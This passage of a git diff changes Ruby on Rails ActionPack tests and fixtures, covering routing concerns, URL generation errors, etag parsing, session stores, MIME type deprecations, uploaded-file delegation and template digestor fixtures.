+class ActionControllerSpecTypeTest < ActiveSupport::TestCase
+ def assert_controller actual
+ assert_equal ActionController::TestCase, actual
+ end
+
+ def refute_controller actual
+ refute_equal ActionController::TestCase, actual
+ end
+
+ def test_spec_type_resolves_for_class_constants
+ assert_controller MiniTest::Spec.spec_type(ApplicationController)
+ assert_controller MiniTest::Spec.spec_type(ModelsController)
+ end
+
+ def test_spec_type_resolves_for_matching_strings
+ assert_controller MiniTest::Spec.spec_type("WidgetController")
+ assert_controller MiniTest::Spec.spec_type("WidgetControllerTest")
+ assert_controller MiniTest::Spec.spec_type("Widget Controller Test")
+ # And is not case sensitive
+ assert_controller MiniTest::Spec.spec_type("widgetcontroller")
+ assert_controller MiniTest::Spec.spec_type("widgetcontrollertest")
+ assert_controller MiniTest::Spec.spec_type("widget controller test")
+ end
+
+ def test_spec_type_wont_match_non_space_characters
+ refute_controller MiniTest::Spec.spec_type("Widget Controller\tTest")
+ refute_controller MiniTest::Spec.spec_type("Widget Controller\rTest")
+ refute_controller MiniTest::Spec.spec_type("Widget Controller\nTest")
+ refute_controller MiniTest::Spec.spec_type("Widget Controller\fTest")
+ refute_controller MiniTest::Spec.spec_type("Widget ControllerXTest")
+ end
+end
diff --git a/actionpack/test/dispatch/debug_exceptions_test.rb b/actionpack/test/dispatch/debug_exceptions_test.rb
index 6ff651ad52..d236b14e02 100644
--- a/actionpack/test/dispatch/debug_exceptions_test.rb
+++ b/actionpack/test/dispatch/debug_exceptions_test.rb
@@ -37,6 +37,8 @@ class DebugExceptionsTest < ActionDispatch::IntegrationTest
raise ActionView::Template::Error.new('template', AbstractController::ActionNotFound.new)
when "/bad_request"
raise ActionController::BadRequest
+ when "/missing_keys"
+ raise ActionController::UrlGenerationError, "No route matches"
else
raise "puke!"
end
@@ -113,6 +115,15 @@ class DebugExceptionsTest < ActionDispatch::IntegrationTest
assert_match(/AbstractController::ActionNotFound/, body)
end
+ test "named urls missing keys raise 500 level error" do
+ @app = DevelopmentApp
+
+ get "/missing_keys", {}, {'action_dispatch.show_exceptions' => true}
+ assert_response 500
+
+ assert_match(/ActionController::UrlGenerationError/, body)
+ end
+
test "show the controller name in the diagnostics template when controller name is present" do
@app = DevelopmentApp
get("/runtime_error", {}, {
diff --git a/actionpack/test/dispatch/mime_type_test.rb b/actionpack/test/dispatch/mime_type_test.rb
index ed012093a7..e2a9ba782d 100644
--- a/actionpack/test/dispatch/mime_type_test.rb
+++ b/actionpack/test/dispatch/mime_type_test.rb
@@ -92,7 +92,7 @@ class MimeTypeTest < ActiveSupport::TestCase
# (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; InfoPath.1)
test "parse other broken acceptlines" do
accept = "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, , pronto/1.00.00, sslvpn/1.00.00.00, */*"
- expect = ['image/gif', 'image/x-xbitmap', 'image/jpeg','image/pjpeg', 'application/x-shockwave-flash', 'application/vnd.ms-excel', 'application/vnd.ms-powerpoint', 'application/msword', 'pronto/1.00.00', 'sslvpn/1.00.00.00', Mime::ALL ]
+ expect = ['image/gif', 'image/x-xbitmap', 'image/jpeg','image/pjpeg', 'application/x-shockwave-flash', 'application/vnd.ms-excel', 'application/vnd.ms-powerpoint', 'application/msword', 'pronto/1.00.00', 'sslvpn/1.00.00.00', Mime::ALL]
assert_equal expect, Mime::Type.parse(accept).collect { |c| c.to_s }
end
@@ -185,9 +185,11 @@ class MimeTypeTest < ActiveSupport::TestCase
all_types.uniq!
# Remove custom Mime::Type instances set in other tests, like Mime::GIF and Mime::IPHONE
all_types.delete_if { |type| !Mime.const_defined?(type.upcase) }
- verified, unverified = all_types.partition { |type| Mime::Type.browser_generated_types.include? type }
- assert verified.each { |type| assert Mime.const_get(type.upcase).verify_request?, "Verifiable Mime Type is not verified: #{type.inspect}" }
- assert unverified.each { |type| assert !Mime.const_get(type.upcase).verify_request?, "Nonverifiable Mime Type is verified: #{type.inspect}" }
+ assert_deprecated do
+ verified, unverified = all_types.partition { |type| Mime::Type.browser_generated_types.include? type }
+ assert verified.each { |type| assert Mime.const_get(type.upcase).verify_request?, "Verifiable Mime Type is not verified: #{type.inspect}" }
+ assert unverified.each { |type| assert !Mime.const_get(type.upcase).verify_request?, "Nonverifiable Mime Type is verified: #{type.inspect}" }
+ end
end
test "references gives preference to symbols before strings" do
diff --git a/actionpack/test/dispatch/mount_test.rb b/actionpack/test/dispatch/mount_test.rb
index 536e35ab2e..3b008fdff0 100644
--- a/actionpack/test/dispatch/mount_test.rb
+++ b/actionpack/test/dispatch/mount_test.rb
@@ -22,6 +22,7 @@ class TestRoutingMount < ActionDispatch::IntegrationTest
mount SprocketsApp => "/shorthand"
mount FakeEngine, :at => "/fakeengine"
+ mount FakeEngine, :at => "/getfake", :via => :get
scope "/its_a" do
mount SprocketsApp, :at => "/sprocket"
@@ -52,6 +53,14 @@ class TestRoutingMount < ActionDispatch::IntegrationTest
assert_equal "/shorthand -- /omg", response.body
end
+ def test_mounting_works_with_via
+ get "/getfake"
+ assert_equal "OK", response.body
+
+ post "/getfake"
+ assert_response :not_found
+ end
+
def test_with_fake_engine_does_not_call_invalid_method
get "/fakeengine"
assert_equal "OK", response.body
diff --git a/actionpack/test/dispatch/prefix_generation_test.rb b/actionpack/test/dispatch/prefix_generation_test.rb
index 6d75c5ec7a..cfbf970a37 100644
--- a/actionpack/test/dispatch/prefix_generation_test.rb
+++ b/actionpack/test/dispatch/prefix_generation_test.rb
@@ -57,6 +57,7 @@ module TestGenerationPrefix
get "/polymorphic_path_for_engine", :to => "outside_engine_generating#polymorphic_path_for_engine"
get "/polymorphic_with_url_for", :to => "outside_engine_generating#polymorphic_with_url_for"
get "/conflicting_url", :to => "outside_engine_generating#conflicting"
+ get "/ivar_usage", :to => "outside_engine_generating#ivar_usage"
root :to => "outside_engine_generating#index"
end
@@ -125,6 +126,11 @@ module TestGenerationPrefix
def conflicting
render :text => "application"
end
+
+ def ivar_usage
+ @blog_engine = "Not the engine route helper"
+ render :text => blog_engine.post_path(:id => 1)
+ end
end
class EngineObject
@@ -203,6 +209,11 @@ module TestGenerationPrefix
assert_equal "http://example.org/awesome/blog/posts/1", last_response.body
end
+ test "[APP] instance variable with same name as engine" do
+ get "/ivar_usage"
+ assert_equal "/awesome/blog/posts/1", last_response.body
+ end
+
# Inside any Object
test "[OBJECT] proxy route should override respond_to?() as expected" do
assert_respond_to blog_engine, :named_helper_that_should_be_invoked_only_in_respond_to_test_path
diff --git a/actionpack/test/dispatch/rack_test.rb b/actionpack/test/dispatch/rack_test.rb
index 698f980296..6d239d0a0c 100644
--- a/actionpack/test/dispatch/rack_test.rb
+++ b/actionpack/test/dispatch/rack_test.rb
@@ -176,13 +176,17 @@ end
class RackRequestContentTypeTest < BaseRackTest
test "html content type verification" do
- @request.env['CONTENT_TYPE'] = Mime::HTML.to_s
- assert @request.content_mime_type.verify_request?
+ assert_deprecated do
+ @request.env['CONTENT_TYPE'] = Mime::HTML.to_s
+ assert @request.content_mime_type.verify_request?
+ end
end
test "xml content type verification" do
- @request.env['CONTENT_TYPE'] = Mime::XML.to_s
- assert !@request.content_mime_type.verify_request?
+ assert_deprecated do
+ @request.env['CONTENT_TYPE'] = Mime::XML.to_s
+ assert !@request.content_mime_type.verify_request?
+ end
end
end
diff --git a/actionpack/test/dispatch/request/json_params_parsing_test.rb b/actionpack/test/dispatch/request/json_params_parsing_test.rb
index 302bff0696..c0c3147e37 100644
--- a/actionpack/test/dispatch/request/json_params_parsing_test.rb
+++ b/actionpack/test/dispatch/request/json_params_parsing_test.rb
@@ -46,7 +46,9 @@ class JsonParamsParsingTest < ActionDispatch::IntegrationTest
begin
$stderr = StringIO.new # suppress the log
json = "[\"person]\": {\"name\": \"David\"}}"
- assert_raise(MultiJson::DecodeError) { post "/parse", json, {'CONTENT_TYPE' => 'application/json', 'action_dispatch.show_exceptions' => false} }
+ exception = assert_raise(ActionDispatch::ParamsParser::ParseError) { post "/parse", json, {'CONTENT_TYPE' => 'application/json', 'action_dispatch.show_exceptions' => false} }
+ assert_equal MultiJson::DecodeError, exception.original_exception.class
+ assert_equal exception.original_exception.message, exception.message
ensure
$stderr = STDERR
end
diff --git a/actionpack/test/dispatch/request/session_test.rb b/actionpack/test/dispatch/request/session_test.rb
index 80d5a13171..3f36d4f1a9 100644
--- a/actionpack/test/dispatch/request/session_test.rb
+++ b/actionpack/test/dispatch/request/session_test.rb
@@ -52,6 +52,15 @@ module ActionDispatch
assert_equal %w[ftw awesome], s.values
end
+ def test_clear
+ env = {}
+ s = Session.create(store, env, {})
+ s['rails'] = 'ftw'
+ s['adequate'] = 'awesome'
+ s.clear
+ assert_equal([], s.values)
+ end
+
private
def store
Class.new {
diff --git a/actionpack/test/dispatch/request/xml_params_parsing_test.rb b/actionpack/test/dispatch/request/xml_params_parsing_test.rb
index 84823e2896..cb68667002 100644
--- a/actionpack/test/dispatch/request/xml_params_parsing_test.rb
+++ b/actionpack/test/dispatch/request/xml_params_parsing_test.rb
@@ -68,7 +68,9 @@ class XmlParamsParsingTest < ActionDispatch::IntegrationTest
begin
$stderr = StringIO.new # suppress the log
xml = "<person><name>David</name></pineapple>"
- assert_raise(REXML::ParseException) { post "/parse", xml, default_headers.merge('action_dispatch.show_exceptions' => false) }
+ exception = assert_raise(ActionDispatch::ParamsParser::ParseError) { post "/parse", xml, default_headers.merge('action_dispatch.show_exceptions' => false) }
+ assert_equal REXML::ParseException, exception.original_exception.class
+ assert_equal exception.original_exception.message, exception.message
ensure
$stderr = STDERR
end
diff --git a/actionpack/test/dispatch/request_test.rb b/actionpack/test/dispatch/request_test.rb
index a434e49dbd..a2b9571660 100644
--- a/actionpack/test/dispatch/request_test.rb
+++ b/actionpack/test/dispatch/request_test.rb
@@ -746,6 +746,45 @@ class RequestTest < ActiveSupport::TestCase
assert_equal "/foo?bar", path
end
+ test "if_none_match_etags none" do
+ request = stub_request
+
+ assert_equal nil, request.if_none_match
+ assert_equal [], request.if_none_match_etags
+ assert !request.etag_matches?("foo")
+ assert !request.etag_matches?(nil)
+ end
+
+ test "if_none_match_etags single" do
+ header = 'the-etag'
+ request = stub_request('HTTP_IF_NONE_MATCH' => header)
+
+ assert_equal header, request.if_none_match
+ assert_equal [header], request.if_none_match_etags
+ assert request.etag_matches?("the-etag")
+ end
+
+ test "if_none_match_etags quoted single" do
+ header = '"the-etag"'
+ request = stub_request('HTTP_IF_NONE_MATCH' => header)
+
+ assert_equal header, request.if_none_match
+ assert_equal ['the-etag'], request.if_none_match_etags
+ assert request.etag_matches?("the-etag")
+ end
+
+ test "if_none_match_etags multiple" do
+ header = 'etag1, etag2, "third etag", "etag4"'
+ expected = ['etag1', 'etag2', 'third etag', 'etag4']
+ request = stub_request('HTTP_IF_NONE_MATCH' => header)
+
+ assert_equal header, request.if_none_match
+ assert_equal expected, request.if_none_match_etags
+ expected.each do |etag|
+ assert request.etag_matches?(etag), etag
+ end
+ end
+
protected
def stub_request(env = {})
diff --git a/actionpack/test/dispatch/response_test.rb b/actionpack/test/dispatch/response_test.rb
index 4d699bd739..185a9e9b18 100644
--- a/actionpack/test/dispatch/response_test.rb
+++ b/actionpack/test/dispatch/response_test.rb
@@ -178,33 +178,40 @@ class ResponseTest < ActiveSupport::TestCase
end
test "read x_frame_options, x_content_type_options and x_xss_protection" do
- ActionDispatch::Response.default_headers = {
- 'X-Frame-Options' => 'DENY',
- 'X-Content-Type-Options' => 'nosniff',
- 'X-XSS-Protection' => '1;'
- }
- resp = ActionDispatch::Response.new.tap { |response|
- response.body = 'Hello'
- }
- resp.to_a
-
- assert_equal('DENY', resp.headers['X-Frame-Options'])
- assert_equal('nosniff', resp.headers['X-Content-Type-Options'])
- assert_equal('1;', resp.headers['X-XSS-Protection'])
- end
+ begin
+ ActionDispatch::Response.default_headers = {
+ 'X-Frame-Options' => 'DENY',
+ 'X-Content-Type-Options' => 'nosniff',
+ 'X-XSS-Protection' => '1;'
+ }
+ resp = ActionDispatch::Response.new.tap { |response|
+ response.body = 'Hello'
+ }
+ resp.to_a
+
+ assert_equal('DENY', resp.headers['X-Frame-Options'])
+ assert_equal('nosniff', resp.headers['X-Content-Type-Options'])
+ assert_equal('1;', resp.headers['X-XSS-Protection'])
+ ensure
+ ActionDispatch::Response.default_headers = nil
+ end
+ end
test "read custom default_header" do
- ActionDispatch::Response.default_headers = {
- 'X-XX-XXXX' => 'Here is my phone number'
- }
- resp = ActionDispatch::Response.new.tap { |response|
- response.body = 'Hello'
- }
- resp.to_a
-
- assert_equal('Here is my phone number', resp.headers['X-XX-XXXX'])
- end
-
+ begin
+ ActionDispatch::Response.default_headers = {
+ 'X-XX-XXXX' => 'Here is my phone number'
+ }
+ resp = ActionDispatch::Response.new.tap { |response|
+ response.body = 'Hello'
+ }
+ resp.to_a
+
+ assert_equal('Here is my phone number', resp.headers['X-XX-XXXX'])
+ ensure
+ ActionDispatch::Response.default_headers = nil
+ end
+ end
end
class ResponseIntegrationTest < ActionDispatch::IntegrationTest
diff --git a/actionpack/test/dispatch/routing/concerns_test.rb b/actionpack/test/dispatch/routing/concerns_test.rb
index 21da3bd77a..9f37701656 100644
--- a/actionpack/test/dispatch/routing/concerns_test.rb
+++ b/actionpack/test/dispatch/routing/concerns_test.rb
@@ -1,18 +1,28 @@
require 'abstract_unit'
class RoutingConcernsTest < ActionDispatch::IntegrationTest
+ class Reviewable
+ def self.call(mapper, options = {})
+ mapper.resources :reviews, options
+ end
+ end
+
Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
app.draw do
- concern :commentable do
- resources :comments
+ concern :commentable do |options|
+ resources :comments, options
end
concern :image_attachable do
resources :images, only: :index
end
- resources :posts, concerns: [:commentable, :image_attachable] do
- resource :video, concerns: :commentable
+ concern :reviewable, Reviewable
+
+ resources :posts, concerns: [:commentable, :image_attachable, :reviewable] do
+ resource :video, concerns: :commentable do
+ concerns :reviewable, as: :video_reviews
+ end
end
resource :picture, concerns: :commentable do
@@ -20,7 +30,7 @@ class RoutingConcernsTest < ActionDispatch::IntegrationTest
end
scope "/videos" do
- concerns :commentable
+ concerns :commentable, except: :destroy
end
end
end
@@ -63,11 +73,28 @@ class RoutingConcernsTest < ActionDispatch::IntegrationTest
assert_equal "404", @response.code
end
+ def test_accessing_callable_concern_
+ get "/posts/1/reviews/1"
+ assert_equal "200", @response.code
+ assert_equal "/posts/1/reviews/1", post_review_path(post_id: 1, id: 1)
+ end
+
+ def test_callable_concerns_accept_options
+ get "/posts/1/video/reviews/1"
+ assert_equal "200", @response.code
+ assert_equal "/posts/1/video/reviews/1", post_video_video_review_path(post_id: 1, id: 1)
+ end
+
def test_accessing_concern_from_a_scope
get "/videos/comments"
assert_equal "200", @response.code
end
+ def test_concerns_accept_options
+ delete "/videos/comments/1"
+ assert_equal "404", @response.code
+ end
+
def test_with_an_invalid_concern_name
e = assert_raise ArgumentError do
ActionDispatch::Routing::RouteSet.new.tap do |app|
@@ -79,4 +106,14 @@ class RoutingConcernsTest < ActionDispatch::IntegrationTest
assert_equal "No concern named foo was found!", e.message
end
+
+ def test_concerns_executes_block_in_context_of_current_mapper
+ mapper = ActionDispatch::Routing::Mapper.new(ActionDispatch::Routing::RouteSet.new)
+ mapper.concern :test_concern do
+ resources :things
+ return self
+ end
+
+ assert_equal mapper, mapper.concerns(:test_concern)
+ end
end
diff --git a/actionpack/test/dispatch/routing/inspector_test.rb b/actionpack/test/dispatch/routing/inspector_test.rb
index 97fc4f3e4b..a3034ce001 100644
--- a/actionpack/test/dispatch/routing/inspector_test.rb
+++ b/actionpack/test/dispatch/routing/inspector_test.rb
@@ -24,7 +24,7 @@ module ActionDispatch
def test_displaying_routes_for_engines
engine = Class.new(Rails::Engine) do
- def self.to_s
+ def self.inspect
"Blog::Engine"
end
end
@@ -132,7 +132,7 @@ module ActionDispatch
def test_rake_routes_shows_route_with_rack_app_nested_with_dynamic_constraints
constraint = Class.new do
- def to_s
+ def inspect
"( my custom constraint )"
end
end
diff --git a/actionpack/test/dispatch/routing_test.rb b/actionpack/test/dispatch/routing_test.rb
index b029131ad8..4e83ad16d7 100644
--- a/actionpack/test/dispatch/routing_test.rb
+++ b/actionpack/test/dispatch/routing_test.rb
@@ -363,6 +363,7 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
resources :errors, :shallow => true do
resources :notices
end
+ get 'api/version'
end
scope :path => 'api' do
@@ -1280,6 +1281,12 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
assert_equal 'account#shorthand', @response.body
end
+ def test_match_shorthand_with_module
+ assert_equal '/api/version', api_version_path
+ get '/api/version'
+ assert_equal 'api/api#version', @response.body
+ end
+
def test_dynamically_generated_helpers_on_collection_do_not_clobber_resources_url_helper
assert_equal '/replies', replies_path
end
@@ -1799,7 +1806,7 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
get '/movies/00001'
assert_equal 'Not Found', @response.body
- assert_raises(ActionController::RoutingError){ movie_path(:id => '00001') }
+ assert_raises(ActionController::UrlGenerationError){ movie_path(:id => '00001') }
get '/movies/0001/reviews'
assert_equal 'reviews#index', @response.body
@@ -1807,7 +1814,7 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
get '/movies/00001/reviews'
assert_equal 'Not Found', @response.body
- assert_raises(ActionController::RoutingError){ movie_reviews_path(:movie_id => '00001') }
+ assert_raises(ActionController::UrlGenerationError){ movie_reviews_path(:movie_id => '00001') }
get '/movies/0001/reviews/0001'
assert_equal 'reviews#show', @response.body
@@ -1815,7 +1822,7 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
get '/movies/00001/reviews/0001'
assert_equal 'Not Found', @response.body
- assert_raises(ActionController::RoutingError){ movie_path(:movie_id => '00001', :id => '00001') }
+ assert_raises(ActionController::UrlGenerationError){ movie_path(:movie_id => '00001', :id => '00001') }
get '/movies/0001/trailer'
assert_equal 'trailers#show', @response.body
@@ -1823,7 +1830,7 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
get '/movies/00001/trailer'
assert_equal 'Not Found', @response.body
- assert_raises(ActionController::RoutingError){ movie_trailer_path(:movie_id => '00001') }
+ assert_raises(ActionController::UrlGenerationError){ movie_trailer_path(:movie_id => '00001') }
end
def test_only_should_be_read_from_scope
@@ -2142,7 +2149,7 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
get '/lists/2/todos/1'
assert_equal 'Not Found', @response.body
- assert_raises(ActionController::RoutingError){ list_todo_path(:list_id => '2', :id => '1') }
+ assert_raises(ActionController::UrlGenerationError){ list_todo_path(:list_id => '2', :id => '1') }
end
def test_named_routes_collision_is_avoided_unless_explicitly_given_as
@@ -2625,7 +2632,7 @@ class TestNamedRouteUrlHelpers < ActionDispatch::IntegrationTest
get "/categories/1"
assert_response :success
- assert_raises(ActionController::RoutingError) { product_path(nil) }
+ assert_raises(ActionController::UrlGenerationError) { product_path(nil) }
end
end
diff --git a/actionpack/test/dispatch/session/cookie_store_test.rb b/actionpack/test/dispatch/session/cookie_store_test.rb
index 631974d6c4..41fa036a92 100644
--- a/actionpack/test/dispatch/session/cookie_store_test.rb
+++ b/actionpack/test/dispatch/session/cookie_store_test.rb
@@ -30,6 +30,11 @@ class CookieStoreTest < ActionDispatch::IntegrationTest
render :text => "id: #{request.session_options[:id]}"
end
+ def get_class_after_reset_session
+ reset_session
+ render :text => "class: #{session.class}"
+ end
+
def call_session_clear
session.clear
head :ok
@@ -187,6 +192,7 @@ class CookieStoreTest < ActionDispatch::IntegrationTest
get '/call_reset_session'
assert_response :success
assert_not_equal [], headers['Set-Cookie']
+ assert_not_nil session_payload
assert_not_equal session_payload, cookies[SessionKey]
get '/get_session_value'
@@ -195,6 +201,20 @@ class CookieStoreTest < ActionDispatch::IntegrationTest
end
end
+ def test_class_type_after_session_reset
+ with_test_route_set do
+ get '/set_session_value'
+ assert_response :success
+ assert_equal "_myapp_session=#{response.body}; path=/; HttpOnly",
+ headers['Set-Cookie']
+
+ get '/get_class_after_reset_session'
+ assert_response :success
+ assert_not_equal [], headers['Set-Cookie']
+ assert_equal 'class: ActionDispatch::Request::Session', response.body
+ end
+ end
+
def test_getting_from_nonexistent_session
with_test_route_set do
get '/get_session_value'
diff --git a/actionpack/test/dispatch/session/mem_cache_store_test.rb b/actionpack/test/dispatch/session/mem_cache_store_test.rb
index 03234612ab..e53ce4195b 100644
--- a/actionpack/test/dispatch/session/mem_cache_store_test.rb
+++ b/actionpack/test/dispatch/session/mem_cache_store_test.rb
@@ -34,9 +34,9 @@ class MemCacheStoreTest < ActionDispatch::IntegrationTest
end
begin
- require 'memcache'
- memcache = MemCache.new('localhost:11211')
- memcache.set('ping', '')
+ require 'dalli'
+ ss = Dalli::Client.new('localhost:11211').stats
+ raise Dalli::DalliError unless ss['localhost:11211']
def test_setting_and_getting_session_value
with_test_route_set do
@@ -131,11 +131,6 @@ class MemCacheStoreTest < ActionDispatch::IntegrationTest
get '/get_session_id'
assert_response :success
end
- with_autoload_path "session_autoload_test" do
- get '/get_session_value'
- assert_response :success
- assert_equal 'foo: #<SessionAutoloadTest::Foo bar:"baz">', response.body, "should auto-load unloaded class"
- end
end
end
@@ -165,7 +160,7 @@ class MemCacheStoreTest < ActionDispatch::IntegrationTest
assert_not_equal session_id, cookies['_session_id']
end
end
- rescue LoadError, RuntimeError
+ rescue LoadError, RuntimeError, Dalli::DalliError
$stderr.puts "Skipping MemCacheStoreTest tests. Start memcached and try again."
end
diff --git a/actionpack/test/dispatch/spec_type_test.rb b/actionpack/test/dispatch/spec_type_test.rb
new file mode 100644
index 0000000000..6cd19fd333
--- /dev/null
+++ b/actionpack/test/dispatch/spec_type_test.rb
@@ -0,0 +1,41 @@
+require "abstract_unit"
+
+class SpecTypeTest < ActiveSupport::TestCase
+ def assert_dispatch actual
+ assert_equal ActionDispatch::IntegrationTest, actual
+ end
+
+ def refute_dispatch actual
+ refute_equal ActionDispatch::IntegrationTest, actual
+ end
+
+ def test_spec_type_resolves_for_matching_acceptance_strings
+ assert_dispatch MiniTest::Spec.spec_type("WidgetAcceptanceTest")
+ assert_dispatch MiniTest::Spec.spec_type("Widget Acceptance Test")
+ assert_dispatch MiniTest::Spec.spec_type("widgetacceptancetest")
+ assert_dispatch MiniTest::Spec.spec_type("widget acceptance test")
+ end
+
+ def test_spec_type_wont_match_non_space_characters_acceptance
+ refute_dispatch MiniTest::Spec.spec_type("Widget Acceptance\tTest")
+ refute_dispatch MiniTest::Spec.spec_type("Widget Acceptance\rTest")
+ refute_dispatch MiniTest::Spec.spec_type("Widget Acceptance\nTest")
+ refute_dispatch MiniTest::Spec.spec_type("Widget Acceptance\fTest")
+ refute_dispatch MiniTest::Spec.spec_type("Widget AcceptanceXTest")
+ end
+
+ def test_spec_type_resolves_for_matching_integration_strings
+ assert_dispatch MiniTest::Spec.spec_type("WidgetIntegrationTest")
+ assert_dispatch MiniTest::Spec.spec_type("Widget Integration Test")
+ assert_dispatch MiniTest::Spec.spec_type("widgetintegrationtest")
+ assert_dispatch MiniTest::Spec.spec_type("widget integration test")
+ end
+
+ def test_spec_type_wont_match_non_space_characters_integration
+ refute_dispatch MiniTest::Spec.spec_type("Widget Integration\tTest")
+ refute_dispatch MiniTest::Spec.spec_type("Widget Integration\rTest")
+ refute_dispatch MiniTest::Spec.spec_type("Widget Integration\nTest")
+ refute_dispatch MiniTest::Spec.spec_type("Widget Integration\fTest")
+ refute_dispatch MiniTest::Spec.spec_type("Widget IntegrationXTest")
+ end
+end
diff --git a/actionpack/test/dispatch/uploaded_file_test.rb b/actionpack/test/dispatch/uploaded_file_test.rb
index e69c1fbed4..72f3d1db0d 100644
--- a/actionpack/test/dispatch/uploaded_file_test.rb
+++ b/actionpack/test/dispatch/uploaded_file_test.rb
@@ -45,14 +45,26 @@ module ActionDispatch
assert_equal 'thunderhorse', uf.open
end
- def test_delegates_to_tempfile
- tf = Class.new { def read; 'thunderhorse' end }
+ def test_delegates_close_to_tempfile
+ tf = Class.new { def close(unlink_now=false); 'thunderhorse' end }
+ uf = Http::UploadedFile.new(:tempfile => tf.new)
+ assert_equal 'thunderhorse', uf.close
+ end
+
+ def test_close_accepts_parameter
+ tf = Class.new { def close(unlink_now=false); "thunderhorse: #{unlink_now}" end }
+ uf = Http::UploadedFile.new(:tempfile => tf.new)
+ assert_equal 'thunderhorse: true', uf.close(true)
+ end
+
+ def test_delegates_read_to_tempfile
+ tf = Class.new { def read(length=nil, buffer=nil); 'thunderhorse' end }
uf = Http::UploadedFile.new(:tempfile => tf.new)
assert_equal 'thunderhorse', uf.read
end
- def test_delegates_to_tempfile_with_params
- tf = Class.new { def read *args; args end }
+ def test_delegates_read_to_tempfile_with_params
+ tf = Class.new { def read(length=nil, buffer=nil); [length, buffer] end }
uf = Http::UploadedFile.new(:tempfile => tf.new)
assert_equal %w{ thunder horse }, uf.read(*%w{ thunder horse })
end
diff --git a/actionpack/test/fixtures/company.rb b/actionpack/test/fixtures/company.rb
index e29978801e..f3ac3642fa 100644
--- a/actionpack/test/fixtures/company.rb
+++ b/actionpack/test/fixtures/company.rb
@@ -1,6 +1,5 @@
class Company < ActiveRecord::Base
has_one :mascot
- attr_protected :rating
self.sequence_name = :companies_nonstd_seq
validates_presence_of :name
diff --git a/actionpack/test/fixtures/digestor/comments/_comment.html.erb b/actionpack/test/fixtures/digestor/comments/_comment.html.erb
new file mode 100644
index 0000000000..f172e749da
--- /dev/null
+++ b/actionpack/test/fixtures/digestor/comments/_comment.html.erb
@@ -0,0 +1 @@
+Great story, bro!
diff --git a/actionpack/test/fixtures/digestor/comments/_comments.html.erb b/actionpack/test/fixtures/digestor/comments/_comments.html.erb
new file mode 100644
index 0000000000..c28646a283
--- /dev/null
+++ b/actionpack/test/fixtures/digestor/comments/_comments.html.erb
@@ -0,0 +1 @@
+<%= render partial: "comments/comment", collection: commentable.comments %>
diff --git a/actionpack/test/fixtures/digestor/events/_event.html.erb b/actionpack/test/fixtures/digestor/events/_event.html.erb
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/actionpack/test/fixtures/digestor/events/_event.html.erb
diff --git a/actionpack/test/fixtures/digestor/messages/_form.html.erb b/actionpack/test/fixtures/digestor/messages/_form.html.erb
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/actionpack/test/fixtures/digestor/messages/_form.html.erb
diff --git a/actionpack/test/fixtures/digestor/messages/_header.html.erb b/actionpack/test/fixtures/digestor/messages/_header.html.erb
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/actionpack/test/fixtures/digestor/messages/_header.html.erb
diff --git a/actionpack/test/fixtures/digestor/messages/_message.html.erb b/actionpack/test/fixtures/digestor/messages/_message.html.erb
new file mode 100644
index 0000000000..406a0fb848
--- /dev/null
+++ b/actionpack/test/fixtures/digestor/messages/_message.html.erb
@@ -0,0 +1 @@
+THIS BE WHERE THEM MESSAGE GO, YO! \ No newline at end of file
diff --git a/actionpack/test/fixtures/digestor/messages/actions/_move.html.erb b/actionpack/test/fixtures/digestor/messages/actions/_move.html.erb
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/actionpack/test/fixtures/digestor/messages/actions/_move.html.erb
diff --git a/actionpack/test/fixtures/digestor/messages/edit.html.erb b/actionpack/test/fixtures/digestor/messages/edit.html.erb
new file mode 100644
index 0000000000..a9e0a88e32
--- /dev/null
+++ b/actionpack/test/fixtures/digestor/messages/edit.html.erb
@@ -0,0 +1,5 @@
+<%= render "header" %>
+<%= render partial: "form" %>
+<%= render @message %>
+<%= render ( @message.events ) %>
+<%= render :partial => "comments/comment", :collection => @message.comments %>
diff --git a/actionpack/test/fixtures/digestor/messages/index.html.erb b/actionpack/test/fixtures/digestor/messages/index.html.erb
new file mode 100644
index 0000000000..1937b652e4
--- /dev/null
+++ b/actionpack/test/fixtures/digestor/messages/index.html.erb
@@ -0,0 +1,2 @@
+<%= render @messages %>
+<%= render @events %>
diff --git a/actionpack/test/fixtures/digestor/messages/show.html.erb b/actionpack/test/fixtures/digestor/messages/show.html.erb
new file mode 100644
index 0000000000..9f73345a9f
--- /dev/null
+++ b/actionpack/test/fixtures/digestor/messages/show.html.erb
@@ -0,0 +1,9 @@
+<%# Template Dependency: messages/message %>
+<%= render "header" %>
+<%= render "comments/comments" %>
+
+<%= render "messages/actions/move" %>
+
+<%= render @message.history.events %>
+
+<%# render "something_missing" %> \ No newline at end of file
diff --git a/actionpack/test/fixtures/ruby_template.ruby b/actionpack/test/fixtures/ruby_template.ruby
new file mode 100644
index 0000000000..5097bce47c
--- /dev/null
+++ b/actionpack/test/fixtures/ruby_template.ruby
@@ -0,0 +1,2 @@
+body = ""
+body << ["Hello", "from", "Ruby", "code"].join(" ")
diff --git a/actionpack/test/metal/caching_test.rb b/actionpack/test/metal/caching_test.rb
deleted file mode 100644
index a2b6763754..0000000000
--- a/actionpack/test/metal/caching_test.rb
+++ /dev/null
@@ -1,32 +0,0 @@
-require 'abstract_unit'
-
-CACHE_DIR = 'test_cache'
-# Don't change '/../temp/' cavalierly or you might hose something you don't want hosed
-FILE_STORE_PATH = File.join(File.dirname(__FILE__), '/../temp/', CACHE_DIR)
-
-class CachingController < ActionController::Metal
- abstract!
-
- include ActionController::Caching
-
- self.page_cache_directory = FILE_STORE_PATH
- self.cache_store = :file_store, FILE_STORE_PATH
-end
-
-class PageCachingTestController < CachingController
- caches_page :ok
-
- def ok
- self.response_body = "ok"
- end
-end
-
-class PageCachingTest < ActionController::TestCase
- tests PageCachingTestController
-
- def test_should_cache_get_with_ok_status
- get :ok
- assert_response :ok
